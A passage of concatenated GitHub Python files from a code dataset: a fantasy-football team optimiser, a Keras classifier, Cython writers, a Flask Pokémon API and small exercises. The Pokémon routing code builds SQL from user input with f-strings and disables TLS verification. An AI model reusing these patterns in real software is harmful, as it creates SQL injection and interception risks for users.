list(dict.fromkeys(expected_points_cols))\n\n\ndef display_team(team: DF, current_team: Optional[DF], ctx: Context, in_team: bool = False, expected_points_cols: List[str] = None) -> Widget:\n \"\"\"\n Returns a widget that can be used to show the team and summary stats in a Jupyter notebook.\n Args:\n team: The team data frame.\n current_team: Data frame representing a team to compare to. This parameter is optional.\n ctx: Context data, such as the next game week, the current season, the data dictionary, etc.\n in_team: Whether to show the 'In Team?' column.\n expected_points_cols: Names of the expected points columns to show for each player and in the summary. If omitted, the expected point columns for the next game week, for the fixed game week horizon and for the end of season horizon are used.\n\n Returns:\n A composite widget.\n \"\"\"\n team = (team\n .pipe(ctx.dd.reorder)\n .assign(**{'Name': lambda df: df.apply(lambda row: row['Name'] + ' (C)' if row['Captain?'] else row['Name'] + ' (V)' if row['Vice Captain?'] else row['Name'], axis=1)})\n .pipe(add_stats_compl, ctx))\n\n expected_points_cols = get_expected_points_cols_or_def(expected_points_cols, ctx)\n team = team.sort_values(['Field Position Code', 'Selected?', expected_points_cols[0]], ascending=[True, False, False])\n is_recommendation = 'Recommendation' in team.columns\n\n team_cols = (['Name', 'Team Short Name']\n + (['Recommendation'] if is_recommendation else [])\n + (['In Team?'] if in_team else [])\n + ['Selected?', 'Current Cost', 'Field Position', 'Minutes Percent', 'News And Date']\n + expected_points_cols[0:2]\n + ['Stats Completeness'])\n\n team_label = 'New Team' if is_recommendation else 'Team'\n current_team_label = 'Current Team' if is_recommendation else None\n\n parts = []\n parts += [HTML('

    Summary

    ')]\n parts += [ctx.dd.display(summarise_team(team, team_label, current_team, current_team_label, ctx, expected_points_cols), footer=False, descriptions=False)]\n\n parts += [HTML('

    Team

    ')]\n parts += [ctx.dd.display(team[team_cols], head=30, excel_file='team.xlsx', index=False)]\n return VBox(parts)\n\n\ndef get_new_team(team: DF):\n \"\"\"\n Gets the new team from a team with transfer recommendations by removing all out transfer recommendations. If the team\n does not contain any recommendations, it returns the team as is.\n\n Args:\n team: Data frame to get the new team from.\n\n Returns:\n Data frame with only actual team players.\n \"\"\"\n if 'Recommendation' in team.columns:\n return team[lambda df: df['Recommendation'] != 'Transfer out']\n else:\n return team.copy()\n\ndef summarise_team(team: DF, team_label: str, other_team: Optional[DF], other_team_label: Optional[str], ctx: Context, expected_points_cols: List[str] = None) -> DF:\n \"\"\"\n Calculates summary stats for the given team data frame, including total cost, expected points for the different time horizons and point consistency.\n Args:\n team: Data frame representing the team to summarise.\n team_label: Text describing the team. When comparing to another team, this could be 'New Team', otherwise it describes the team and the label could be something like 'Team'.\n other_team: Data frame representing a team to compare to. This parameter is optional.\n other_team_label: Text describing the other team. When comparing to another team, this could be 'Current Team', otherwise this label is ignored.\n ctx: Context data, such as the next game week, the current season, the data dictionary, etc.\n expected_points_cols: Names of the expected points columns to summarise. If omitted, the expected point columns for the next game week, for the fixed game week horizon and for the end of season horizon are used.\n\n Returns:\n A data frame with the summary stats.\n \"\"\"\n\n def calc_aggr(df: DF, aggr: dict) -> DF:\n return (df\n .agg(aggr)\n .to_frame()\n .T\n .pipe(add_stats_compl, ctx, 1)\n .drop(columns=['Fixtures Played Recent Fixtures']))\n\n expected_points_cols = get_expected_points_cols_or_def(expected_points_cols, ctx)\n\n for ep_col_name in filter_ep_col_names(team.columns.values):\n team[ep_col_name] = team.apply(lambda row: row[ep_col_name] * max(row['Point Factor'], 1), axis=1)\n\n aggr = {'Current Cost': 'sum'}\n aggr = {**aggr, **{col: 'sum' for col in expected_points_cols}}\n aggr = {**aggr, **{'Fixtures Played Recent Fixtures': 'mean'}}\n\n team_summary = DF()\n with warnings.catch_warnings():\n warnings.simplefilter(\"ignore\")\n team = get_new_team(team)\n team_summary = team_summary.append(team\n .pipe(calc_aggr, aggr)\n .assign(**{'Team': f'{team_label} (all players)'}))\n team_summary = team_summary.append(team[lambda df: df['Selected?']]\n .pipe(calc_aggr, aggr)\n .assign(**{'Team': f'{team_label} (selected players)'}))\n\n if other_team is not None:\n other_team = get_new_team(other_team)\n team_summary = team_summary.append(other_team\n .pipe(calc_aggr, aggr)\n .assign(**{'Team': f'{other_team_label} (all players)'}))\n team_summary = team_summary.append(other_team[lambda df: df['Selected?']]\n .pipe(calc_aggr, aggr)\n .assign(**{'Team': f'{other_team_label} (selected players)'}))\n\n return team_summary.set_index('Team')\n\n\ndef display_optimal_team(players_df: DF, ctx: Context, formation: Tuple[int] = (2, 5, 5, 3), expens_player_count: int = None, budget: float = 100.0,\n optimise_team_on: str = 'Total Points', optimise_sel_on: str = None, recommend: int = None,\n include: Tuple[str] = (), exclude: Tuple[str] = (), risk: float = 0.2) -> DF:\n \"\"\"\n For the given formation and player data frame tries to maximise the total in the given column so that\n the current cost is with the given max_budget. It also adds the ``Captain/Vice Captain`` column to indicate whether a specific player\n should be captain or vice captain.\n\n Args:\n players_df: Player data frame with at least the following columns: ``Current Cost``, ``News And Date``, ``Field Position``, ``Player Team ID`` and the column specified in ``optimise_on``.\n If ``recommend`` is specified, the ``Selected?`` column must also be specified.\n formation: The formation to optimise, e.g, (2, 5, 5, 3) means 2 goal keepers, 5 defender, 5 mid fielders and 3 forwards.\n expens_player_count: Number of expensive players in a biased, optimised team. The number of players must be equal or less than the number of players in the formation if the formation is specified.\n If not specified, the optimised team will not be biased towards more expensive players. Biasing a team can be useful if you are unlikely to need bench players, e.g. for a free hit.\n budget: Budget that the sum of the team player's ``Current Cost`` should not exceed.\n optimise_team_on: Column in ``players`` to use to optimise the team composition, e.g. ``Expected Points Next 5 GWs``.\n This is different to ``optimise_sel_on`` because the match team selection should be based on the short term where as the team composition should be based on the long term.\n optimise_sel_on: Column in ``players`` to use to optimise the team selection.\n recommend: Number of players to recommend transfers for. If specified, ``players`` has to include ``Selected?`` to indicate the current squad selection.\n include: List of player names that must be in the optimised team.\n exclude: List of player names that must NOT be in the optimised team.\n risk: Amount of risk to take when evaluating the column to optimise on. This number has to be between 0 and 1.\n The lower the numbers, the lower the risk. If risk is 1, the completeness of the data that the values in the optimisation columns is based on\n is completely ignored. If risk is 0, the values in the optimisation columns is multiplied by the completeness of the data.\n If risk is between 0 and 1 the completeness of the data is take into account in a way that is proportionate to the risk.\n\n Returns:\n The players from ``players`` with the highest value in the ``optimise_on`` column for the given formation that is within the max_budget.\n \"\"\"\n new_team = (get_optimal_team(players_df,\n optimise_team_on=optimise_team_on, # Name of the column to use for optimising the whole team.\n optimise_sel_on=optimise_sel_on, # Name of the column to use for optimising the selection of the team.\n formation=formation, # Formation of the team in format GKP-DEF-MID-FWD.\n expens_player_count=expens_player_count, # Number of expensive players. A number between 14 and 11 will bias the team towards more expensive players.\n budget=budget, # Maximum max_budget available for optimising the team.\n include=include, # List of player names that must be in the team, e.g. ['De Bruyne', 'Mané']\n exclude=exclude, # List of player names that must NOT be in the team.\n recommend=recommend,\n risk=risk) # The amount of risk to take when evaluating the column to optimise on. This number has to be between 0 and 1.\n .pipe(ctx.dd.reorder))\n\n has_in_team = 'In Team?' in new_team.columns\n current_team = players_df[lambda df: df['In Team?'] == True] if has_in_team else None\n return display_team(new_team, current_team, ctx, has_in_team, [optimise_sel_on, optimise_team_on])\n\n\ndef get_horizons(player_gw_next_eps_ext: DF) -> List[str]:\n return ([col.replace('Expected Points ', '') for col in player_gw_next_eps_ext.columns if col.startswith('Expected Points Next ')]\n + [col.replace('Expected Points ', '') for col in player_gw_next_eps_ext.columns if col.startswith('Expected Points GW ')])\n\n\ndef show_opt_team(player_gw_next_eps_ext: DF, max_budget: float, ctx: Context, def_budget: float = None):\n def get_message(optimise_team_on, optimise_sel_on, budget, expens_player_count, include, exclude, risk, recommend) -> None:\n message = ''\n\n if recommend is not None:\n message += f'Recommend {recommend} transfer(s) with the highest {optimise_team_on} '\n else:\n message += f'Create a team with the highest {optimise_team_on} '\n\n message += f'within the budget of £{budget:.1f}m biasing the team towards {expens_player_count} more expensive player(s) ' + \\\n f'and taking {risk:.0%} risk '\n\n if len(include) > 0 and len(exclude) == 0:\n message += f'while including {\",\".join(include)} '\n elif len(include) == 0 and len(exclude) > 0:\n message += f'while excluding {\",\".join(exclude)} '\n elif len(include) > 0 and len(exclude) > 0:\n message += f'while including {\",\".join(include)} and excluding {\",\".join(exclude)} '\n\n message += f'and optimise the selection for {optimise_sel_on}.'\n\n return message\n\n def get_players(players_text: str) -> Tuple:\n return tuple([v.strip() for v in players_text.split(',')]) if players_text != '' else ()\n\n def get_args():\n return dict(recommend=(recommend_slider.value if has_in_team else None), optimise_team_on='Expected Points ' + opt_for_dropdown.value,\n budget=budget_slider.value, optimise_sel_on='Expected Points ' + sel_for_dropdown.value,\n expens_player_count=expens_player_slider.value, include=get_players(include_text.value),\n exclude=get_players(exclude_text.value), risk=risk_slider.value)\n\n def validate_include_exclude(df, include_exclude, include_exclude_text) -> None:\n include_exclude_lower = [v.lower() for v in include_exclude]\n if not set(df['Name'].str.lower().values) >= set(include_exclude_lower):\n invalid_include_exclude = [v for v in include_exclude if v.lower() in (set(include_exclude_lower) - set(df[\"Name\"].str.lower().values))]\n if len(invalid_include_exclude) == 1:\n raise ValueError(f'{invalid_include_exclude[0]} in {include_exclude_text} is not a valid player name.')\n else:\n raise ValueError(f'{\", \".join(invalid_include_exclude)} in {include_exclude_text} are not valid player names.')\n\n @debounce(1)\n def on_value_change(change):\n args = get_args()\n error_html.value = ''\n try:\n validate_include_exclude(player_gw_next_eps_ext, args['include'], 'Include')\n validate_include_exclude(player_gw_next_eps_ext, args['exclude'], 'Exclude')\n\n message_html.value = get_message(**args)\n optimise_team()\n error_html.value = ''\n except Exception as e:\n error_html.value = f'
    {e}
    '\n\n def optimise_team():\n error_html.value = f'
    Optimising ...
    '\n with out:\n out.clear_output()\n summary = display_optimal_team(players_df=player_gw_next_eps_ext, ctx=ctx, formation=(2, 5, 5, 3),\n **get_args())\n\n display(summary)\n\n has_in_team = 'In Team?' in player_gw_next_eps_ext.columns\n horizons = get_horizons(player_gw_next_eps_ext)\n\n if def_budget is None:\n def_budget = max_budget\n\n # Define the selector controls\n opt_for_dropdown = Dropdown(description='Optimise for', options=horizons, value=ctx.def_next_gws)\n sel_for_dropdown = Dropdown(description='Select for', options=horizons)\n budget_slider = FloatSlider(value=def_budget, min=0, max=max_budget, step=0.1, description='Budget', continuous_update=True, readout_format='.1f')\n expens_player_label = Label('Expensive players')\n expens_player_slider = IntSlider(value=15, min=1, max=15, step=1, continuous_update=True, readout_format='.0f')\n include_text = Text(description='Include', placeholder='Comma separated player names')\n exclude_text = Text(description='Exclude', placeholder='Comma separated player names')\n risk_slider = FloatSlider(value=0.2, min=0, max=1, step=0.1, description='Risk', continuous_update=True, readout_format='.0%')\n recommend_slider = IntSlider(value=1, min=0, max=11, step=1, description='Recommend', continuous_update=True, readout_format='.0f')\n\n message_html = HTML()\n error_html = HTML(layout=Layout(flex='1 1 0%', width='auto'))\n\n hbox_layout = Layout(display='flex', flex_flow='row', align_items='stretch', width='100%')\n\n hboxes = []\n hboxes += [HBox([opt_for_dropdown, sel_for_dropdown]+([recommend_slider] if has_in_team else []), layout=hbox_layout)]\n hboxes += [HBox([include_text, exclude_text, risk_slider], layout=hbox_layout)]\n hboxes += [HBox([budget_slider, expens_player_label, expens_player_slider], layout=hbox_layout)]\n\n for hbox in hboxes:\n for widget in hbox.children:\n widget.observe(on_value_change, names='value')\n\n hboxes += [HBox([message_html])]\n hboxes += [HBox([error_html])]\n out = Output()\n\n on_value_change(None)\n\n return VBox(hboxes + [out])\n\n\ndef filter_ep_col_names(col_names: list) -> list:\n \"\"\"\n Filters forward expected points column names from the given list of column names\n Args:\n col_names: The list of column names.\n\n Returns:\n A list with forward expected points column names.\n \"\"\"\n return list(filter(lambda x:\n re.match(r'Expected Points ', x),\n col_names))","repo_name":"177arc/fpl-advisor","sub_path":"team.py","file_name":"team.py","file_ext":"py","file_size_in_byte":17476,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"48"} +{"seq_id":"73888037586","text":"\"\"\"mutator_pseudo_bit_flip.py\nThis file is a part of the profiling scripts for GASTOp\nAuthors: Amlan Sinha, Cristian Lacey, Daniel Shaw, Paul Kaneelil, Rory Conlin, Susan Redmond\nLicensed under GNU GPLv3.\nThis module implements testing for the fastest way to pseudo-bit-flip\n\n\"\"\"\nimport numpy as np\nimport timeit\nnn = int(1e2)\narray = np.ones((nn,3))\nbit_flip_params = {'boundaries' : np.array([[0,0,0],[10,10,10]]), 'proportions' : 0.5, 'int_flag' : False}\n\nsetup ='''\nimport numpy as np\nfrom __main__ import method1, method2\nnn = int(1e2)\narray = np.ones((nn,3))\nbit_flip_params = {'boundaries' : np.array([[0,0,0],[10,10,10]]), 'proportions' : 0.5, 'int_flag' : False}\n'''\n\ndef method1(array,bit_flip_params):\n\n boundaries = bit_flip_params['boundaries']\n proportions = bit_flip_params['proportions']\n\n (array_row,array_col) = array.shape\n prob_mat = np.zeros(array.shape)\n\n for j in range(array_col):\n lower_bound, upper_bound = boundaries[0,j], boundaries[1,j]\n prob_mat[:,j] = np.random.uniform(lower_bound,upper_bound,len(array[:,j]))\n for i in range(array_row):\n if prob_mat[i,j]>array[i,j]:\n array[i,j] = np.random.uniform(lower_bound,upper_bound)\n\n if (bit_flip_params['int_flag'] == True):\n array = (np.floor(array)).astype(int)\n\n return array\n\ndef method2(array,bit_flip_params):\n\n boundaries = bit_flip_params['boundaries']\n proportions = bit_flip_params['proportions']\n\n B = np.random.choice([0, 1], size=array.shape, p=[1.-proportions, proportions])\n M = np.random.uniform(boundaries[0, :], boundaries[1, :], array.shape)\n child = np.multiply(B, M)+np.multiply((np.ones(array.shape)-B), array)\n\n if (bit_flip_params['int_flag'] == True):\n child = (np.floor(child)).astype(int)\n\n return child\n\nchild1 = method1(array,bit_flip_params)\nchild2 = method2(array,bit_flip_params)\n\ntest1 = '''child1 = method1(array,bit_flip_params)'''\ntest2 = '''child2 = method2(array,bit_flip_params)'''\n\nntests = int(1e3)\n\ntime1 = timeit.timeit(setup=setup,stmt=test1,number=ntests)\ntime2 = timeit.timeit(setup=setup,stmt=test2,number=ntests)\n\nprint('method1: ' + str(time1))\nprint('method2: ' + str(time2))\n","repo_name":"f0uriest/GASTOp","sub_path":"profiling/mutator_pseudo_bit_flip.py","file_name":"mutator_pseudo_bit_flip.py","file_ext":"py","file_size_in_byte":2205,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"48"} +{"seq_id":"71055625427","text":"from flask import Flask\nimport sys\nfrom word_frequency import Analysis, Logger, Sampling\n\napp = Flask(__name__)\n\ndef build_sentence (sampler):\n\tsentence = \"\"\n\ti = 0\n\twhile i < 10:\n\t\tsentence += sampler.sample() + \" \"\n\t\ti += 1\n\treturn sentence\n\n\ndef build_data ():\n\tanalysis = Analysis()\n\tlogger = Logger(\"histogram.txt\")\n\tanalysis.read(sys.argv[1])\n\tanalysis.histogram()\n\tanalysis.get_total_words()\n\tmost = analysis.max_word()\n\tlogger.log_data(analysis.number_unique_words, most, analysis.word_list)\n\tsampler = Sampling()\n\tsampler.get_cume()\n\tsentence = build_sentence(sampler)\n\treturn sentence\n\n@app.route(\"/\")\ndef home():\n\treturn build_data()\t\t \n\nif __name__ == \"__main__\":\n\tapp.run()\n","repo_name":"Coswold/tweet_generator","sub_path":"originals/o_app.py","file_name":"o_app.py","file_ext":"py","file_size_in_byte":687,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"27129649090","text":"#ler seis números inteiros e mostre a soma apenas daqueles que forem pares.\r\n\r\nqtde = 0\r\nsoma = 0\r\nfor c in range(1, 7):\r\n n = int(input('Digite um número: '))\r\n if n % 2 == 0:\r\n soma += n #vai somar apenas os números impar e dar um total do somatório\r\n qtde += 1 # vai somar a quantidade de números impares\r\nprint(f'A quantidade de números pares foi de {qtde} e o somatório de seus números foi de {soma}')\r\n\r\n#minha resposta ficou parecida com o do Guanabara\r\n\r\n","repo_name":"Wandson11/TeoriaExerciciosGuanabara","sub_path":"Cap13EstruturaRepeticaoFor/desafio50.py","file_name":"desafio50.py","file_ext":"py","file_size_in_byte":491,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"28557918105","text":"import os\nimport sys\nimport shutil\nimport time\nfrom typing import (\n List,\n Union,\n Optional\n )\n\nimport cfactory.factory as factory\nimport cfactory.assemblers.cybind.cybind as cybind\nimport cfactory.utils.file_writer as fw\nimport cfactory.utils.pyfamily_file as pyfile\nimport cfactory.utils.file_sys as fs\nimport cfactory.__config__.cfactory_config as cfg\nfrom cfactory.assemblers.cybind.cybind_sections import (\n HeaderSection,\n ImportSection,\n PxdBodySection,\n PyxBodySection\n )\nimport pdb\n\n\nclass CybindWriter(pyfile.PyFileWriter):\n\n def __init__(\n self,\n header: str,\n path: str,\n license_section: Optional[fw.FileSection] = None,\n footer_section: Optional[fw.FileSection] = None,\n author: str = \"\"\n ):\n\n display_path = os.path.relpath(\n path,\n cybind.cybind_project_root\n )\n display_root, file_name = os.path.split(display_path)\n displayname = \".\".join(\n [\n *display_root.split(os.sep),\n file_name\n ]\n )\n super().__init__(\n displayname,\n path,\n license_section=license_section,\n license_file=None,\n license_text=None,\n footer_section=footer_section,\n footer_text=None\n )\n \n self.author = author\n self.header_path = header\n self.header.add_subsection(\n HeaderSection()\n )\n self.import_section = ImportSection()\n\n return\n\n def write_file(\n self,\n t_unit: \"ccmodel.code_models.variants.TranslationUnitDecl\"\n ) -> None:\n cybind_header = self.header.subsections[-1]\n cybind_header.header = os.path.relpath(\n self.header_path,\n cybind.cybind_project_root\n )\n cybind_header.author = self.author\n cybind_header.make_context(t_unit)\n self.import_section.make_context(t_unit)\n fw.CodeWriter.write_file(self)\n return\n\n\nclass PxdWriter(CybindWriter):\n\n def __init__(\n self,\n header: str,\n path: str,\n license_section: Optional[fw.FileSection] = None,\n footer_section: Optional[fw.FileSection] = None,\n author: str = \"\"\n ):\n super().__init__(\n header,\n path,\n license_section=license_section,\n footer_section=footer_section,\n author=author\n )\n self.pxd_body = PxdBodySection()\n self.add_file_section(self.pxd_body)\n return\n\n def write_file(\n self,\n t_unit: \"ccmodel.code_models.variants.TranslationUnitDecl\"\n ) -> None:\n self.pxd_body.header = self.header_path\n self.pxd_body.namespace = t_unit\n self.pxd_body.make_context(t_unit)\n for ns in t_unit.namespaces:\n new_sub = PxdBodySection()\n new_sub.header = self.header_path\n new_sub.namespace = ns\n new_sub.make_context(t_unit)\n self.pxd_body.add_subsection(\n new_sub\n )\n CybindWriter.write_file(self, t_unit)\n return\n\n\nclass PyxWriter(CybindWriter):\n\n def __init__(\n self,\n header: str,\n path: str,\n license_section: Optional[fw.FileSection] = None,\n footer_section: Optional[fw.FileSection] = None,\n author: str = \"\"\n ):\n super().__init__(\n header,\n path,\n license_section=license_section,\n footer_section=footer_section,\n author=author\n )\n self.pyx_body = PyxBodySection()\n self.add_file_section(self.pyx_body)\n return\n\n def write_file(\n self,\n t_unit: \"ccmodel.code_models.variants.TranslationUnitDecl\"\n ) -> None:\n self.pyx_body.header = self.header\n self.pyx_body.namespace = t_unit\n self.pyx_body.make_context(t_unit)\n for ns in t_unit.namespaces:\n new_sub = PyxBodySection()\n new_sub.header = self.header_path\n new_sub.namespace = ns\n new_sub.make_context(t_unit)\n self.pyx_body.add_subsection(\n new_sub\n )\n CybindWriter.write_file(self, t_unit)\n return\n","repo_name":"gjingram/cfactory","sub_path":"src/cfactory/assemblers/cybind/cybind_writers.py","file_name":"cybind_writers.py","file_ext":"py","file_size_in_byte":4653,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"22539231403","text":"from keras.models import Sequential\nfrom keras.layers.core import Dense, Dropout, Activation, Flatten\nfrom keras.layers.convolutional import Convolution2D, MaxPooling2D\nfrom keras.preprocessing.image import ImageDataGenerator\n\nfrom keras import backend as K\nimport cv2\nimport numpy as np\nimport itertools\nfrom sklearn import metrics\nimport os\n\n\nK.set_image_dim_ordering('th')\n\ninput_size = (160,85)\nbatch_size = 16\n\nnfolds = {'one':'1','two':'2','three':'3','four':'4','five':'5'}\n\ndef net0(nb_channels, height, width, nb_classes):\n print('creating neural network...')\n model = Sequential()\n model.add(Convolution2D(64, 5, 5, border_mode='same', activation='relu',\n input_shape=(nb_channels, height, width)))\n model.add(MaxPooling2D(pool_size=(2, 2), strides=(2, 2)))\n model.add(Convolution2D(64, 5, 5, border_mode='same', activation='relu'))\n model.add(MaxPooling2D(pool_size=(2, 2), strides=(2, 2)))\n model.add(Flatten())\n model.add(Dense(500, activation='relu'))\n model.add(Dropout(0.5))\n model.add(Dense(nb_classes, activation='softmax'))\n print('compiling neural network...')\n model.compile(loss=\"categorical_crossentropy\",\n optimizer=\"adadelta\",\n metrics=[\"accuracy\"])\n return model\n\ndef net0_1(nb_channels, height, width, nb_classes):\n print('creating neural network...')\n model = Sequential()\n model.add(Convolution2D(64, 5, 5, border_mode='same', activation='relu',\n input_shape=(nb_channels, height, width)))\n model.add(MaxPooling2D(pool_size=(2, 2), strides=(2, 2)))\n model.add(Convolution2D(64, 5, 5, border_mode='same', activation='relu'))\n model.add(MaxPooling2D(pool_size=(2, 2), strides=(2, 2)))\n model.add(Flatten())\n model.add(Dense(500, activation='relu'))\n model.add(Dropout(0.5))\n print('compiling neural network...')\n model.compile(loss=\"categorical_crossentropy\",\n optimizer=\"adadelta\",\n metrics=[\"accuracy\"])\n return model\n\n\ndef run_save_weight(fold):\n print('run net to fold {0}'.format(fold))\n datagen = ImageDataGenerator()\n # test_datagen = ImageDataGenerator()\n train_generator = datagen.flow_from_directory(\n './{0}/Train'.format(fold), \n batch_size=batch_size,\n target_size=input_size,\n shuffle=False,\n class_mode='categorical')\n\n validation_generator = datagen.flow_from_directory(\n './{0}/Test'.format(fold), \n batch_size=batch_size,\n shuffle=False,\n target_size=input_size,\n class_mode='categorical')\n\n net = net0(3,input_size[0],input_size[1],4)\n net2 = net0_1(3,input_size[0],input_size[1],4)\n # print(net.summary())\n net.load_weights(\"fold_{0}_weight.h5\".format(fold))\n net2.load_weights(\"fold_{0}_weight.h5\".format(fold),by_name=True)\n \n results_c = []\n results_p = []\n labels = []\n for i in range(50):\n x,y = next(validation_generator)\n c = net.predict_classes(x,batch_size=batch_size,verbose=0)\n p = net.predict(x,batch_size=batch_size,verbose=0)\n results_p = itertools.chain(results_p , p)\n results_c = itertools.chain(results_c , c)\n labels = itertools.chain(labels , y)\n\n results_p = list(results_p)\n results_c = list(results_c)\n labels = list(labels)\n names = list(validation_generator.filenames)\n\n result = []\n\n features = list(net2.predict_generator(train_generator,3200))\n namesf = list(train_generator.filenames)\n features = list(itertools.chain(features,net2.predict_generator(validation_generator,800)))\n namesf = list(itertools.chain(namesf,validation_generator.filenames))\n\n for i in range(800):\n arr = correctOrder(results_p[i])\n arr = ' '.join(map(str,arr))\n name = clearName(names[i])\n result.append(name+' '+arr)\n \n f = open(\"F{0}.prediction\".format(nfolds[fold]),\"w+\")\n f.write('\\n'.join(result))\n\n result = []\n for i in range(4000):\n arr = list(features[i])\n arr = ';'.join(map(str,arr))\n name = clearName(namesf[i])\n result.append(name+';'+arr)\n\n f = open(\"F{0}_L5.features\".format(nfolds[fold]),\"w+\")\n f.write('\\n'.join(result))\n \n\ndef correctOrder(arr):\n return [arr[1],arr[3],arr[2],arr[0]]\n\ndef clearName(name):\n name = name.replace('four/four.','')\n name = name.replace('one/one.','')\n name = name.replace('two/two.','')\n name = name.replace('three/three.','')\n return name\n \nrun_save_weight('one');\nrun_save_weight('two');\nrun_save_weight('three');\nrun_save_weight('four');\nrun_save_weight('five');\n","repo_name":"rafaelMangolin/keras-cnn-bats","sub_path":"bat_nets.py","file_name":"bat_nets.py","file_ext":"py","file_size_in_byte":4695,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"32265510216","text":"\"\"\"\r\nimplement the pokemon operations\r\n\"\"\"\r\nimport json\r\nimport requests\r\n\r\nfrom config import pokemon_url\r\nfrom insertions import insert_query\r\nfrom queries import get_id_by_name, delete_pokemon_by_id, update_pokemon\r\n\r\nfrom flask import Response\r\nfrom config import connection\r\n\r\ndef get_by_type(type):\r\n try:\r\n with connection.cursor() as cursor:\r\n query = f'select name from types,pokemon where types.pokemon_type=\"{type}\" and pokemon_id = id;'\r\n cursor.execute(query)\r\n res = cursor.fetchall()\r\n pokemons_list = []\r\n for type in res:\r\n pokemons_list.append(str(type[\"name\"]))\r\n return (str(pokemons_list),\"\\nstatus code:200\")\r\n except:\r\n return (\"faild\",\"status code:500\")\r\n\r\n\r\ndef get_trainers(pokemon_id):\r\n try:\r\n with connection.cursor() as cursor:\r\n query = f'select owner_name from belonging where pokemon_id =\"{pokemon_id}\";'\r\n cursor.execute(query)\r\n res = cursor.fetchall()\r\n names_list = []\r\n for name in res:\r\n names_list.append(str(name[\"owner_name\"]))\r\n return (str(names_list), \"\\nstatus code:200\")\r\n except:\r\n return (\"failed\",\"status code:500\")\r\n\r\n\r\ndef get_pokemons(trainer_name):\r\n try:\r\n with connection.cursor() as cursor:\r\n query = f'SELECT name FROM pokemon,belonging where belonging.owner_name= \"{trainer_name}\" and pokemon_id=id;'\r\n cursor.execute(query)\r\n res = cursor.fetchall()\r\n names_list = []\r\n for name in res:\r\n names_list.append(str(name['name']))\r\n return (str(names_list),\"\\nstatus code:200\")\r\n except:\r\n return (\"failed\",\"status code:500\")\r\n\r\n\r\n\r\ndef add_pokemon(pokemon_params):\r\n try:\r\n with connection.cursor() as cursor:\r\n values_list = [\"id\", \"name\", \"type\", \"height\", \"weight\"]\r\n final_list = []\r\n for i in values_list:\r\n if pokemon_params.get(i) == None:\r\n pokemon_params[i] = 'null'\r\n final_list.append(pokemon_params[i])\r\n query = f'INSERT into pokemon values {tuple(final_list)};'\r\n cursor.execute(query)\r\n connection.commit()\r\n return (\"succeeded\",\"status code:200\")\r\n except Exception as exp:\r\n print(exp)\r\n return (\"failed\",\"status code:500\")\r\n\r\n\r\ndef update_types(pokemon_name):\r\n try:\r\n pokeUrl = \"https://pokeapi.co/api/v2/pokemon/{}\".format(pokemon_name)\r\n types = requests.get(url=pokeUrl, verify=False)\r\n dict = json.loads(types.text)\r\n for item in dict['types']:\r\n pokemon_id = get_id_by_name(pokemon_name)\r\n if pokemon_id==None:\r\n return (\"pokemon name not faund\",400)\r\n insert_query('types', [pokemon_id, str(item.get('type')['name'])])\r\n return (\"succeeded\",200)\r\n except:\r\n return (\"failed\",\"status code:500\")\r\n\r\ndef update_types_of_pokemon(pokemon_name):\r\n poke_url = pokemon_url + \"/api/v2/pokemon/{}\".format(pokemon_name)\r\n types = requests.get(url=poke_url, verify=False)\r\n dict = json.loads(types.text)\r\n for item in dict['types']:\r\n pokemon_id = get_id_by_name(pokemon_name)\r\n if pokemon_id is None:\r\n return \"this pokemon does not exist\", str(types.status_code)\r\n res = insert_query('types', [pokemon_id, str(item.get('type')['name'])])\r\n return res\r\n return str(types.status_code)\r\n\r\n\r\ndef delete_pokemon(pokemon_name):\r\n pokemon_id = get_id_by_name(pokemon_name)\r\n if pokemon_id is not None:\r\n res = delete_pokemon_by_id(pokemon_id)\r\n return res\r\n else:\r\n return Response(\"this pokemon does not exist\",400)\r\n\r\ndef evolve(pokemon_name,trainer_name):\r\n old_pokemo_id=get_id_by_name(pokemon_name)\r\n if old_pokemo_id==None:\r\n return (\"pokemon not found\",400)\r\n info_url=f'https://pokeapi.co/api/v2/pokemon/{pokemon_name}'\r\n try:\r\n pokemon_general_info=requests.get(url=info_url,verify=False)\r\n dict = pokemon_general_info.json()\r\n species_url=dict['species'].get('url')\r\n pokemon_species=requests.get(url=species_url,verify=False)\r\n dict=json.loads(pokemon_species.text)\r\n evolution_chain_url=dict['evolution_chain'].get('url')\r\n item_chain=requests.get(url=evolution_chain_url,verify=False)\r\n dict=json.loads(item_chain.text)\r\n final_name=dict['chain']['evolves_to'][0]['species'].get('name')\r\n pokemon_id=get_id_by_name(final_name)\r\n print(final_name)\r\n except Exception as exp:\r\n return (\"failed\",\"status code:500\")\r\n return update_pokemon(old_pokemo_id,pokemon_id,trainer_name)\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"michalReich200/pokemon","sub_path":"pokemon-project-chana-noa-and-michal/routing.py","file_name":"routing.py","file_ext":"py","file_size_in_byte":4875,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"25656075225","text":"import sys\n\nsys.setrecursionlimit(10 ** 7)\nrl = sys.stdin.readline\n\n\ndef solve():\n S = rl().rstrip()\n \n for i, si in enumerate(S):\n if i % 2 == 0 and si.isupper() or i % 2 == 1 and si.islower():\n print('No')\n return\n print('Yes')\n\n\nif __name__ == '__main__':\n solve()\n","repo_name":"yuly3/atcoder","sub_path":"ABC/ABC192/B.py","file_name":"B.py","file_ext":"py","file_size_in_byte":312,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"36060957565","text":"\ndef permuate(nums):\n result = []\n length = len(nums)\n def tracking(temp, NewNums):\n if len(temp) == length:\n if list(temp) not in result:\n result.append(list(temp))\n return\n for i in NewNums:\n temp.append(i)\n NewNums.remove(i)\n New = list(NewNums)\n tracking(temp, New)\n NewNums.insert(0, i)\n temp.pop()\n tracking([], nums)\n return result\n\n\nif __name__ == \"__main__\":\n nums = [1, 1, 3]\n 